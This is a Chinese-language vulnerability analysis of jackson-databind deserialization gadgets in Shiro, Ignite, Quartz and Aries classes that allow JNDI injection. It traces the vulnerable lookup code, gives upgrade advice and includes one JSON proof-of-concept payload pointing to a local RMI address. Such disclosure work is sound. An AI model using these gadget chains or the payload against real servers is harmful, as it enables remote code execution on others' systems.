jackson-databind #2653 #2658 #2659 反序列化漏洞分析(暂无cve)

  • A+
所属分类:安全文章

不受影响的版本

jackson-databind >= 2.9.10.4jackson-databind >= 2.10.0

如果你的业务中即存在jackson,并且开启了enableDefaultTypeing功能,又存在相关受影响的jar包,请更新jackson最新版。或者使用activatedefaulttyping代替enableDefaultTypeing

可以查询jackson的黑名单过滤列表,分析相关poc,在如下网址

https://github.com/FasterXML/jackson-databind/issues?q=label%3ACVE+is%3Aclosed

#2653 shiro jndi注入

org.apache.shiro.jndi.JndiObjectFactory

该处代码如下

public class JndiObjectFactory<T> extends JndiLocator implements Factory<T> {

   private String resourceName;
   private Class<? extends T> requiredType;

   public T getInstance() {
       try {
           if(requiredType != null) {
               return requiredType.cast(this.lookup(resourceName, requiredType));
          } else {
               return (T) this.lookup(resourceName);
          }
      } catch (NamingException e) {
           final String typeName = requiredType != null ? requiredType.getName() : "object";
           throw new IllegalStateException("Unable to look up " + typeName + " with jndi name '" + resourceName + "'.", e);
      }
  }
}

我们可以从JndiObjectFactory中看出,getInstance会调用lookup去查找rmi。如果存在requiredType,则转换为相关class,如果不存在就不会强转。JndiObjectFactory继承自JndiLocator,所以我们去JndiLocator的lookup函数继续分析,JndiLocator的lookup代码如下

    protected Object lookup(String jndiName, Class requiredType) throws NamingException {
       String convertedName = convertJndiName(jndiName);
       Object jndiObject;
       try {
           jndiObject = getJndiTemplate().lookup(convertedName, requiredType);
      }
//... 省略不相关代码
       return jndiObject;
  }

可以很清楚的看到,首先将jndiName转换,然后继续调用getJndiTemplate().lookup函数,getJndiTemplate().lookup的代码如下

    public Object lookup(String name, Class requiredType) throws NamingException {
       Object jndiObject = lookup(name);
       if (requiredType != null && !requiredType.isInstance(jndiObject)) {
           String msg = "Jndi object acquired under name '" + name + "' is of type [" +
                   jndiObject.getClass().getName() + "] and not assignable to the required type [" +
                   requiredType.getName() + "].";
           throw new NamingException(msg);
      }
       return jndiObject;
  }

首先调用lookup,然后根据用户传入的参数,将rmi远程获取的类强制转换为用户提供的requiredType类,假如requiredType为null,则不去强制转换。

lookup函数如下

    public Object lookup(final String name) throws NamingException {
       log.debug("Looking up JNDI object with name '{}'", name);
       return execute(new JndiCallback() {
           public Object doInContext(Context ctx) throws NamingException {
               Object located = ctx.lookup(name);
               if (located == null) {
                   throw new NameNotFoundException(
                           "JNDI object with [" + name + "] not found: JNDI implementation returned null");
              }
               return located;
          }
      });
  }

该处存在典型的jndi注入。用户可以控制lookup的name参数,可以访问恶意rmi服务器去获取带有恶意信息的类。

poc
["org.apache.shiro.jndi.JndiObjectFactory",{"resourceName":"rmi://127.0.0.1:1099/aa"}]

org.apache.shiro.realm.jndi.JndiRealmFactory

首先查看org.apache.shiro.realm.jndi.JndiRealmFactory的代码

    public Collection<Realm> getRealms() throws IllegalStateException {
// ... 省略
       for (String name : jndiNames) {
           try {
               Realm realm = (Realm) lookup(name, Realm.class);
               realms.add(realm);
          } catch (Exception e) {
               throw new IllegalStateException("Unable to look up realm with jndi name '" + name + "'.", e);
          }
      }
       return realms.isEmpty() ? null : realms;
  }

可以很明显看出,在getRealms函数中,会调用lookup去作为rmi的参数。而lookup函数,其实就是上一个gadget的lookup函数。poc与上一个类似。



#2658

该楼栋编号有三个gadget

  1. org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup

  2. org.apache.ignite.cache.jta.jndi.CacheJndiTmFactory

  3. org.quartz.utils.JNDIConnectionProvider

org.quartz.utils.JNDIConnectionProvider

在getConnection中存在rmi的lookup函数调用,并且该参数可以通过jackson在反序列化的时候设置

https://github.com/quartz-scheduler/quartz/blob/master/quartz-core/src/main/java/org/quartz/utils/JNDIConnectionProvider.java

        Context ctx = null;
       try {
           Object ds = this.datasource;

           if (ds == null || isAlwaysLookup()) {
               ctx = (props != null) ? new InitialContext(props): new InitialContext();

               ds = ctx.lookup(url);
               if (!isAlwaysLookup()) {
                   this.datasource = ds;
              }
          }

其他两个与该处gadget类似,故不再描述

#2659

该漏洞存在与org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory 查看代码中是否存在rmi的lookup引用

https://www.javatips.net/api/aries-master/aries-trunk/transaction/transaction-jms/src/main/java/org/apache/aries/transaction/jms/internal/XaPooledConnectionFactory.java

    public TransactionManager getTransactionManager() {
      if (transactionManager == null && tmFromJndi) {
          try {
              transactionManager = (TransactionManager) new InitialContext().lookup(getTmJndiName());
          } catch (Throwable ignored) {
              if (LOG.isTraceEnabled()) {
                  LOG.trace("exception on tmFromJndi: " + getTmJndiName(), ignored);
              }
          }
      }
      return transactionManager;
  }

在getTransactionManager函数中调用rmi的lookup函数。可以通过jackson去注入恶意参数


本文始发于微信公众号(宽字节安全):jackson-databind #2653 #2658 #2659 反序列化漏洞分析(暂无cve)

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: